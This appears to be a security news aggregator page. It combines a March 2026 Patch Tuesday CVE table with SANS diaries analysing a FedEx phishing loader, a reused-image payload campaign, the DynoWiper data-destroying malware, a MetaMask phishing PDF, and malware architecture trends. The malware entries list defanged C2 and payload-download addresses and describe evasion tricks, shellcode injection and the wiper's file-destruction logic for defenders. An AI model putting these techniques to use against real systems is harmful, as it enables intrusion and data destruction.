NEWS 2026 2025 2024
H AI APT Attack BigBrothers BotNet Congress Cryptocurrency Cyber CyberCrime Exploit Hack ICS Incindent IoT Mobil OS Phishing Ransom Safety Security Social Spam Virus Vulnerebility
Microsoft Patch Tuesday March 2026
Microsoft today released patches for 93 vulnerabilities, including 9 vulnerabilities in Chromium affecting Microsoft Edge. 8 of the vulnerabilities are rated critical. 2 were disclosed prior to today but have not yet been exploited. This update addresses no already-exploited vulnerabilities.
Disclose vulnerabilities:
CVE-2026-26127: A denial of service vulnerability in .Net. Microsoft considers exploitation unlikely. The issue arises from an out-of-bounds read and can be exploited across the network. No authentication is required.
CVE-2026-21262: A privilege escalation in SQL Server. An authenticated user may be able to escalate privileges to sysadmin.
Critical Vulnerabilities:
CVE-2026-21536: The vulnerability in Microsoft's Devices Pricing Program allows remote code execution. But this product is only offered as a cloud service, and Microsoft has already deployed the patch. Microsoft credits the AI vulnerability scanning platform XBOW with discovering this vulnerability.
CVE-2026-26125: Similar to the above vulnerability, this elevation-of-privilege vulnerability in Microsoft's Payment Orchestrator service has been mitigated by Microsoft.
CVE-2026-26113, CVE-2026-26110, CVE-2026-26144: These vulnerabilities affect Excel and Office.
CVE-2026-23651, CVE-2026-26124, CVE-2026-26122: These vulnerabilities affect Microsoft ACI Confidential Containers. No customer action is required. Microsoft already patched these issues.
|
Description |
|||||||
|---|---|---|---|---|---|---|---|
|
CVE |
Disclosed |
Exploited |
Exploitability (old versions) |
current version |
Severity |
CVSS Base (AVG) |
CVSS Temporal (AVG) |
|
.NET Denial of Service Vulnerability |
|||||||
|
Yes |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
.NET Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
ASP.NET Core Denial of Service Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
Active Directory Domain Services Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Azure IOT Explorer Spoofing Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
Azure IoT Explorer Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
Azure MCP Server Tools Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Broadcast DVR Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Chromium: CVE-2026-3536 Integer overflow in ANGLE |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3538 Integer overflow in Skia |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3539 Object lifecycle issue in DevTools |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3541 Inappropriate implementation in CSS |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3543 Inappropriate implementation in V8 |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
Chromium: CVE-2026-3545 Insufficient data validation in Navigation |
|||||||
|
No |
No |
- |
- |
- |
|
|
|
|
GDI Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
GDI+ Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable |
|||||||
|
No |
No |
- |
- |
Important |
9.9 |
8.6 |
|
|
GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Hybrid Worker Extension (Arc?enabled Windows VMs) Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
MapUrlToZone Security Feature Bypass Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.5 |
6.5 |
|
|
Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Critical |
6.7 |
6.0 |
|
|
No |
No |
- |
- |
Critical |
6.7 |
6.0 |
|
|
Microsoft ACI Confidential Containers Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Critical |
6.5 |
5.7 |
|
|
Microsoft Authenticator Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
5.5 |
4.8 |
|
|
Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.1 |
7.3 |
|
|
Microsoft Brokering File System Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.4 |
6.4 |
|
|
Microsoft Devices Pricing Program Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Critical |
9.8 |
8.5 |
|
|
Microsoft Excel Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Critical |
7.5 |
6.5 |
|
|
Microsoft Excel Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
8.4 |
7.3 |
|
|
Microsoft Office Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Microsoft Office Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Critical |
8.4 |
7.3 |
|
|
No |
No |
- |
- |
Critical |
8.4 |
7.3 |
|
|
Microsoft SharePoint Server Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Microsoft SharePoint Server Spoofing Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.1 |
7.1 |
|
|
Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Payment Orchestrator Service Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Critical |
8.6 |
7.7 |
|
|
Performance Counters for Windows Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Push message Routing Service Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
5.5 |
4.8 |
|
|
SQL Server Elevation of Privilege Vulnerability |
|||||||
|
Yes |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Win32k Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
5.5 |
4.8 |
|
|
Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows App Installer Spoofing Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
|
|
|
|
Windows Authentication Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows Connected Devices Platform Service Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows DWM Core Library Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Device Association Service Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows Extensible File Allocation Table Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Graphics Component Denial of Service Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
6.2 |
5.4 |
|
|
No |
No |
- |
- |
Important |
6.2 |
5.4 |
|
|
Windows Graphics Component Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows Graphics Component Information Disclosure Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
5.5 |
4.8 |
|
|
Windows Hyper-V Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.0 |
6.1 |
|
|
Windows Kerberos Security Feature Bypass Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
6.5 |
5.7 |
|
|
Windows Kernel Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Mobile Broadband Driver Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
6.8 |
5.9 |
|
|
Windows NTFS Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Print Spooler Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Windows Projected File System Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
No |
No |
- |
- |
Important |
8.0 |
7.0 |
|
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Windows SMB Server Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Shell Link Processing Spoofing Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
5.3 |
4.6 |
|
|
Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Windows Telephony Service Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
8.8 |
7.7 |
|
|
Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
|
Winlogon Elevation of Privilege Vulnerability |
|||||||
|
No |
No |
- |
- |
Important |
7.8 |
6.8 |
|
Fake Fedex Email Delivers Donuts!
1.3.26 SOURCE: SANS
It’s Friday, let’s have a look at another simple piece of malware to close a busy week! I received a Fedex notification about a delivery. Usually, such emails are simple phishing attacks that redirect you to a fake login page to collect your credentials. Here, it was a bit different:

Nothing really fancy but it is effective and uses interesting techniques. The attached archive called "fedex_shipping_document.7z" (SHA256: a02d54db4ecd6a02f886b522ee78221406aa9a50b92d30b06efb86b9a15781f5 ) contains a Windows script (.bat file) with the same filename. This script, not really obfuscated and easy to understand, receiveds a low VT score, only 12/61!
First, il will generate some environment variables and implement
persistence through a Run key:![]()
The variable name "!contract" contains the path of a script copy in %APPDATA%\Rail\EXPRESSIO.cmd. The threat actor does not use the classic environment variable format “%VAR%” but “!var!”. This is expanded at execution time, meaning it reflects the current value inside loops and blocks[1]. It’s enabled via this command
setlocal enableDelayedExpansion
Simple but nice trick to defeat simple search of "%..%"!
Then a PowerShell one-liner is invoked. The Powershell payload is located in the script (at the end) and Bas64-encoded. A nice trick is that the very first characters of the Base64 payload makes it undetectable by tools like base64dump! PowerShell extracts it through a regular expression:
Once the payload decoded, it is piped to another PowerShell:

The PowerShell implements different behaviors. First, it will create a Mutex on the victim’s computer:

Strange, it seems that some anti-debugging and anti-sandoxing are not completely implemented. By example, the scripts gets the number of CPU cores (a classic) but it’s never tested!
The script waits for the presence of an « explorer » process (which means that a user is logged in) otherwise it exists:

There is a long Base64-encoded variable that contains a payload
that has been AES encrypted. The IV and salt are extracted and the payload
decrypted. No time to loose, run the script into the Powershell debugger and
dump the decrypted data in a file:

The decrypted data is the next stage: a shellcode. This one will be injected into the explorer process and a new thread started:

This behavior is typical to DonutLoader[2].
The shell code connects to the C2 server: 204[.]10[.]160[.]190:7003. It's a good old XWorm!
Tracking Malware Campaigns With Reused Material
20.2.26 SOURCE: SANS
A few days ago I wrote a diary called "Malicious Script Delivering More Maliciousness"[1]. In the malware infection chain, there was a JPEG picture that embedded the last payload delimited with "BaseStart-" and "-BaseEnd" tags.
Today, I discovered anoher campaign that relies exactly on the same technique. It started with an attachment called "TELERADIO_IB_OBYEKTLRIN_BURAXILIS_FORMASI.xIs" (SHA256:1bf3ec53ddd7399cdc1faf1f0796c5228adc438b6b7fa2513399cdc0cb865962). The file in itself is not interesting, it contains a good old Equation Editor exploit (CVE-2017-11882). The exploit triggers the download of an HTA payload that executes a PowerShell payload and finally a DLL:

When I investigated the different payload, there was pretty simple to deobfuscated, the interesting code was polluted with Unicode characters. First the HTA file was downloaded from:
hxxp://192[.]3[.]101[.]19/31/sd878f23823878428348fd8g8g8384838f3453dfg.hta
The interesting code is here and you can easily spot the "powershell" string, no need to use AI for this :-)

The Powershell payload will fetch another file:
hxxps://172[.]245[.]155[.]116/img/optimized_MSI.png
Do you make the link with my previous diary? It's the same picture:

The technique is also exactly the same, the next stage is Base64-encoded and delimited by the same tags:

The extracted payload is a .Net binary (SHA256:adc2f550e7ff2b707a070ffaa50fc367af6a01c037f1f5b347c444cca3c9a650).
The fast that the same picture is re-used looks interesting! I did a quick search on VT and use the feature to search for similarities based on the icon/thumbnail and found a lot of identical pictures:

846 similar pictures have been reported but only 36 have a VT score above 5. I created a YARA rule to track them, just curious...
Under the Hood of DynoWiper
20.2.26 SOURCE: SANS
In this post, I'm going over my analysis of DynoWiper, a wiper family that was discovered during attacks against Polish energy companies in late December of 2025. ESET Research [1] and CERT Polska [2] have linked the activity and supporting malware to infrastructure and tradecraft associated with Russian state-aligned threat actors, with ESET assessing the campaign as consistent with operations attributed to Russian APT Sandworm [3], who are notorious for attacking Ukrainian companies and infrastructure, with major incidents spanning throughout years 2015, 2016, 2017, 2018, and 2022. For more insight into Sandworm or the chain of compromise leading up to the deployment of DynoWiper, ESET and CERT Polska published their findings in great detail, and I highly recommend reading them for context.
The sample analyzed in this post is a 32-bit Windows executable, and is version A of DynoWiper.
SHA-256 835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5 [4]
To start, I ran the binary straight through DIE [5] (Detect It Easy) catch any quick wins regarding packing or obfuscation, but this sample does not appear to utilize either (unsurprising for wiper malware). To IDA [6] we go!

Figure 1: Detect It Easy
Jumping right past the CRT setup to the WinMain function, DynoWiper first initializes a Mersenne Twister PRNG (MT19937) context, with the fixed seed value of 5489 and a state size of 624.

Figure 2: Main Function

Figure 3: Mersenne Twister Init
The MT19937 state is then re-seeded and reinitialized with a random value generated using std::random_device, the 624 word state is rebuilt, and a 16-byte value is generated.

Figure 4: Mersenne Twister Seed
Immediately following the PRNG setup, the data corruption logic is executed.

Figure 5: Data Corruption Logic
Drives attached to the target host are enumerated with
GetLogicalDrives(), and GetDriveTypeW() is used to identify the drive type, to
ensure only fixed or removable drives are added to the target drive vector.

Figure 6: Drive Enumeration
Directories and files on said target drives are walked recursively using FindFirstFileW() and FindNextFileW(), while skipping the following protected / OS directories to avoid instability during the corruption process.
Excluded Directories
|
system32 |
|
windows |
|
program files |
|
program files(x86) |
|
temp |
|
recycle.bin |
|
$recycle.bin |
|
boot |
|
perflogs |
|
appdata |
|
documents and settings |


Figures 7-8: Directory Traversal
For each applicable file, attributes are cleared with SetFileAttributesW(), and a handle to the file is created using CreateFileW(). The file size is obtained using GetFileSize(), and the start of the file located through SetFilePointerEx(). A 16 byte junk data buffer derived from the PRNG context is written to the start of the file using WriteFile(). In cases where the file size exceeds 16 bytes, pseudo-random locations throughout the file are generated, with the count determined by the file size, and a maximum count of 4096. The current file pointer is again repositioned to each generated location with SetFilePointerEx(), and the same 16 byte data buffer is written again, continuing the file corruption process.

Figure 9: Random File Offset Generation

Figure 10: File Corruption
With all the target files damaged and the data corruption process complete, the data deletion process begins

Figure 11: Data Deletion Logic
Similar to the file corruption process, drives attached to the target host are enumerated, target directories are walked recursively and target files are removed with DeleteFileW() instead of writing junk data, as seen in the file corruption logic

Figure 12: File Deletion
To finish, the wiper obtains its own process token using OpenProcessToken(), enables SeShutdownPrivilege through AdjustTokenPrivileges(), and issues a system reboot with ExitWindowsEx().

Figure 13: Token Modification and Shutdown
Discovery (TA0007)
T1680: Local Storage Discovery
T1083: File and Directory
Discovery
Defense Evasion (TA0005)
T1222: File and Directory Permissions Modification
T1222.001: Windows File and Directory Permissions Modification
T1134: Access Token Manipulation
Privilege Escalation (TA0004)
T1134: Access Token Manipulation
Impact (TA0040)
T1485: Data Destruction
T1529: System Shutdown/Reboot
[1] https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/
[2] https://cert.pl/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf
[3] https://www.welivesecurity.com/2022/03/21/sandworm-tale-disruption-told-anew
[4] https://www.virustotal.com/gui/file/835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5
[5] https://github.com/horsicq/Detect-It-Easy
[6] https://hex-rays.com
Fake Incident
Report Used in Phishing Campaign
17.2.26 SOURCE:
SANS
This morning, I received an interesting phishing email. I’ve a “love & hate” relation with such emails because I always have the impression to lose time when reviewing them but sometimes it’s a win because you spot interesting “TTPs” (“tools, techniques & procedures”). Maybe one day, I'll try to automate this process!
Today's email targets Metamask[1] users. It’s a popular software crypto wallet available as a browser extension and mobile app. The mail asks the victim to enable 2FA:

The link points to an AWS server: hxxps://access-authority-2fa7abff0e[.]s3.us-east-1[.]amazonaws[.]com/index.html
But it you look carefully at the screenshots, you see that there is a file attached to the message: “Security_Reports.pdf”. It contains a fake security incident report about an unusual login activity:

he goal is simple: To make the victim scary and ready to “increase” his/her security by enabled 2FA.
I had a look at the PDF content. It’s not malicious. Interesting, it has been generated through ReportLab[2], an online service that allows you to create nice PDF documents!
6 0 obj
<<
/Author (\(anonymous\)) /CreationDate (D:20260211234209+00'00') /Creator (\(unspecified\))
/Keywords () /ModDate (D:20260211234209+00'00') /Producer (ReportLab PDF Library
- www.reportlab.com)
/Subject (\(unspecified\)) /Title (\(anonymous\)) /Trapped /False
>>
endobj
They also provide a Python library to create documents:
pip install reportlab
The PDF file is the SHA256 hash 2486253ddc186e9f4a061670765ad0730c8945164a3fc83d7b22963950d6dcd1.
Besides the idea to use a fake incident report, this campaign remains at a low quality level because the "From" is not spoofed, the PDF is not "branded" with at least the victim's email. If you can automate the creation of a PDF file, why not customize it?
2026 64-Bits Malware
Trend
17.2.26 SOURCE:
SANS
In 2022 (time flies!), I wrote a diary about the 32-bits VS. 64-bits malware landscape[1]. It demonstrated that, despite the growing number of 64-bits computers, the "old-architecture" remained the standard. In the SANS malware reversing training (FOR610[2]), we quickly cover the main differences between the two architectures. One of the conclusions is that 32-bits code is still popular because it acts like a comme denominator and allows threat actors to target more Windows computers. Yes, Microsoft Windows can smoothly execute 32-bits code on 64-bits computers. It is still the case in 2026? Did the situation evolved?
Last week, I make the exact same exercise and generated some statistics. I download the malware archive from Malware Bazaar[3] and re-executed my YARA rule.
Some basic numbers:
2.167 ZIP archives (one per day)
1.120.034.288.112 bytes (1.1TB)
Time line covered: from 2020/02/24 - 2026/02/05
346.985 samples analyzed (only PE files)
312.307 32-bits samples
34.677 64-bits samples
11% of 64-bits samples
First, an overview of the global malware trend over the complete time period:

Zoom on the last year:

Now the interesting graph: the 64-bits sample trend over the complete period:

Zoom on the last year:

We can clearly see that, compared to 2022, there is now a trend in 64-bits code! Have a look at the last 30 days:
|
Date |
Total Files |
32-bits |
64-bits |
|
2026-01-07 |
65 |
41 |
24 |
|
2026-01-08 |
69 |
41 |
28 |
|
2026-01-09 |
117 |
57 |
60 |
|
2026-01-10 |
44 |
25 |
19 |
|
2026-01-11 |
41 |
25 |
16 |
|
2026-01-12 |
60 |
40 |
20 |
|
2026-01-13 |
53 |
28 |
25 |
|
2026-01-14 |
63 |
41 |
22 |
|
2026-01-15 |
59 |
36 |
23 |
|
2026-01-16 |
32 |
21 |
11 |
|
2026-01-17 |
27 |
18 |
9 |
|
2026-01-18 |
65 |
33 |
32 |
|
2026-01-19 |
96 |
60 |
36 |
|
2026-01-20 |
71 |
41 |
30 |
|
2026-01-21 |
56 |
33 |
23 |
|
2026-01-22 |
82 |
35 |
47 |
|
2026-01-23 |
77 |
52 |
25 |
|
2026-01-24 |
50 |
15 |
35 |
|
2026-01-25 |
44 |
28 |
16 |
|
2026-01-26 |
125 |
102 |
23 |
|
2026-01-27 |
90 |
64 |
26 |
|
2026-01-28 |
66 |
29 |
37 |
|
2026-01-29 |
121 |
51 |
70 |
|
2026-01-30 |
80 |
39 |
41 |
|
2026-01-31 |
68 |
28 |
40 |
|
2026-02-01 |
62 |
27 |
35 |
|
2026-02-02 |
129 |
72 |
57 |
|
2026-02-03 |
117 |
53 |
64 |
|
2026-02-04 |
84 |
42 |
42 |
|
2026-02-05 |
437 |
395 |
42 |
We are getting close to a 50-50 repartition!
???????
AI-Powered Knowledge Graph Generator & APTs
14.2.26 SOURCE: SANS
Unstructured text to interactive knowledge graph via LLM & SPO triplet
extraction
Courtesy of TLDR InfoSec Launches & Tools again, another fine discovery in
Robert McDermott’s AI Powered Knowledge Graph Generator. Robert’s system takes
unstructured text, uses your preferred LLM and extracts knowledge in the form of
Subject-Predicate-Object (SPO) triplets, then visualizes the relationships as an
interactive knowledge graph.[1]
Robert has documented AI Powered Knowledge Graph Generator (AIKG) beautifully,
I’ll not be regurgitating it needlessly, so please read further for details
regarding features, requirements, configuration, and options. I will detail a
few installation insights that got me up and running quickly.
The feature summary is this:
AIKG automatically splits large documents into manageable chunks for processing
and uses AI to identify entities and their relationships. As AIKG ensures
consistent entity naming across document chunks, it discovers additional
relationships between disconnected parts of the graph, then creates an
interactive graph visualization. AIKG works with any OpenAI-compatible API
endpoint; I used Ollama exclusively here with Google’s Gemma 3, a lightweight
family of models built on Gemini technology. Gemma 3 is multimodal, processing
text and images, and is the current, most capable model that runs on a single
GPU. I ran my experimemts on a Lenovo ThinkBook 14 G4 circa 2022 with an AMD
Ryzen 7 5825U 8-core processor, Radeon Graphics, and 40gb memory running Ubuntu
24.04.3 LTS.
My installation guidelines assume you have a full instance of Python3 and Ollama
installed. My installation was implemented under my tools directory.
python3 -m venv aikg # Establish a virtual environment for AIKG
cd aikg
git clone https://github.com/robert-mcdermott/ai-knowledge-graph.git # Clone
AIKG into virtual environment
bin/pip3 install -r ai-knowledge-graph/requirements.txt # Install AIKG
requirements
bin/python3 ai-knowledge-graph/generate-graph.py --help # Confirm AIKG
installation is functional
ollama pull gemma3 # Pull the Gemma 3 model from Ollama
I opted to test AIKG via a couple of articles specific to Russian state-sponsored
adversarial cyber campaigns as input:
CISA’s Cybersecurity Advisory Russian GRU Targeting Western Logistics Entities
and Technology Companies May 2025
SecurityWeek’s Russia’s APT28 Targeting Energy Research, Defense Collaboration
Entities January 2026
My use of these articles in particular was based on the assertion that APT and
nation state activity is often well represented via interactive knowledge graph.
I’ve advocated endlessly for visual link analysis and graph tech, including
Maltego (the OG of knowledge graph tools) at far back as 2009, Graphviz in 2015,
GraphFrames in 2018 and Beagle in 2019. As always, visualization, coupled with
entity relationship mappings, are an imperative for security analysts, threat
hunters, and any security professional seeking deeper and more meaningful
insights. While the SecurityWeek piece is a bit light on content and density, it
served well as a good initial experiment.
The CISA advisory is much more dense and served as an excellent, more extensive
experiment.
I pulled them both into individual text files more easily ingested for
processing with AIKG, shared for you here if you’d like to play along at home.
Starting with SecurityWeek’s Russia’s APT28 Targeting Energy Research, Defense Collaboration Entities, and the subsequent Russia-APT28-targeting.txt file I created for model ingestion, I ran Gemma 3 as a 12 billion parameter model as follows:
ollama run gemma3:12b # Run Gemma 3 locally as 12 billion parameter model
~/tools/aikg/bin/python3 ~/tools/aikg/ai-knowledge-graph/generate-graph.py --config
~/tools/aikg/ai-knowledge-graph/config.toml -input data/Russia-APT28-targeting.txt
--output Russia-APT28-targeting-kg-12b.html
You may want or need to run Gemma 3 with fewer parameters depending on the
performance and capabilities of your local system. Note that I am calling file
paths rather explicitly to overcome complaints about missing config and input
files.
The article makes reference to APT credential harvesting activity targeting
people associated with a Turkish energy and nuclear research agency, as well as
a spoofed OWA login portal containing Turkish-language text to target Turkish
scientists and researchers. As part of it’s use of semantic triples (Subject-Predicate-Object
(SPO) triplets), how does AIKG perform linking entities, attributes and values
into machine readable statements [2] derived from the article content, as seen
in Figure 1?
.png)
Figure 1: AIKG Gemma 3:12b result from SecurityWeek article
Quite well, I’d say. To manipulate the graph, you may opt to disable physics in
the graph output toolbar so you can tweak node placements. As drawn from the
statistics view for this graph, AIKG generated 38 nodes, 105 edges, 52 extracted
edges, 53 inferred edges, and four communities. You can further filter as you
see fit, but even unfiltered, and with just a little by of tuning at the
presentation layer, we can immediately see success where semantic triples
immediately emerge to excellent effect. We can see entity/relationship
connections where, as an example, threat actor –> targeted –> people and people
–> associated with –> think tanks, with direct reference to the aforementioned
OWA portal and Turkish language. If you’re a cyberthreat intelligence analyst
(CTI) or investigator, drawing visual conclusions derived from text processing
will really help you step up your game in the form of context and enrichment in
report writing. This same graph extends itself to represent the connection
between the victims and the exploitation methods and infrastructure. If you
don’t want to go through a full installation process for yourself to complete
your own model execution, you should still grab the JSON and HTML output files
and experiment with them in your browser. You’ll get a real sense of the power
and impact of an interactive knowledge graph with the joint forces power of LLM
and SPO triplets.
For a second experiment I selected related content in a longer, more in depth
analysis courtesy of a CISA Cybersecurity Advisory (CISA friends, I’m pulling
for you in tough times). If you are following along at home, be sure to exit
ollama so you can rerun it with additional parameters (27b vs 12b); pass /bye as
a message, and restart:
ollama run gemma3:27b # Run Gemma 3 locally with 27 billion parameters
~/tools/aikg/bin/python3 ~/tools/aikg/ai-knowledge-graph/generate-graph.py --config
~/tools/aikg/ai-knowledge-graph/config.toml --input ~/tools/aikg/ai-knowledge-graph/data/Russian-GRU-Targeting-Logistics-Tech.txt
--output Russian-GRU-Targeting-Logistics-Tech-kg-27b.html
Given the density and length of this article, the graph as initially rendered is
a bit untenable (no fault of AIKG) and requires some tuning and filtering for
optimal effect. Graph Statistics for this experiment included 118 nodes, 486
edges, 152 extracted edges, 334 inferred edges, and seven communities. To filter,
with a focus again on actions taken by Russian APT operatives, I chose as
follows:
Select a Node by ID: threat actors
Select a network item: Nodes
Select a property: color
Select value(s): #e41a1c (red)
The result is more visually feasible, and allows ready tweaking to optimize
network connections, as seen in Figure 2.

Figure 2: AIKG Gemma 3:27b result from CISA advisory
Shocking absolutely no one, we immediately encapsulate actor activity specific to credential access and influence operations via shell commands, Active Directory commands, and PowerShell commands. The conclusive connection is drawn however as threat actors –> targets –> defense industry. Ya think? ;-) In the advisory, see Description of Targets, including defense industry, as well as Initial Access TTPs, including credential guessing and brute force, and finally Post-Compromise TTPs and Exfiltration regarding various shell and AD commands. As a security professional reading this treatise, its reasonable to assume you’ve read a CISA Cybersecurity Advisory before. As such, its also reasonable to assume you’ll agree that knowledge graph generation from a highly dense, content rich collection of IOCs and behaviors is highly useful. I intend to work with my workplace ML team to further incorporate the principles explored herein as part of our context and enrichment generation practices. I suggest you consider the same if you have the opportunity. While SPO triplets, aka semantic triples, are most often associated with search engine optimization (SEO), their use, coupled with LLM power, really shines for threat intelligence applications.
Cheers…until next time.
Four Seconds to Botnet - Analyzing a Self Propagating SSH Worm with Cryptographically Signed C2 [Guest Diary]
14.2.26 SOURCE: SANS
